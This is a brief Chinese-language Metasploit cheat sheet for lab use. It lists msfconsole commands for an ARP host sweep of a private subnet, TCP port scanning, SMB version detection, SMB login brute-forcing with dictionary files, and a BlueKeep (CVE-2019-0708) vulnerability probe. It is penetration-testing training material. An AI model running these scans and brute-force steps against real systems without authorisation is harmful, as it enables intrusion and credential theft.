Metasploit工具

 升级

apt update

apt install metasploit-framework

msfconsole 启动

search scanner type:auxiliary  查找模块主机探测模块命令

通过arp扫描发现存活主机

 use auxiliary/scanner/discovery/arp_sweep

set rhosts 192.168.241.0/24

set threads 30

run

auxiliary/scanner/portscan/tcp 可批量扫描指定端口的主机

  auxiliary/scanner/smb/smb_version 发现内网smb服务

use auxiliary/scanner/smb/smb_login 破解smb密码

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep 探测3389漏洞

Set rhosts 192.168.100.100进行设置目标IP靶机
Set user_file /root/dic.txt设置用户名的TXT文本录入
Set pass_file /root/dic.txt设置用户密码的TXT文本录入
最后进行爆破run，等待爆破结果发现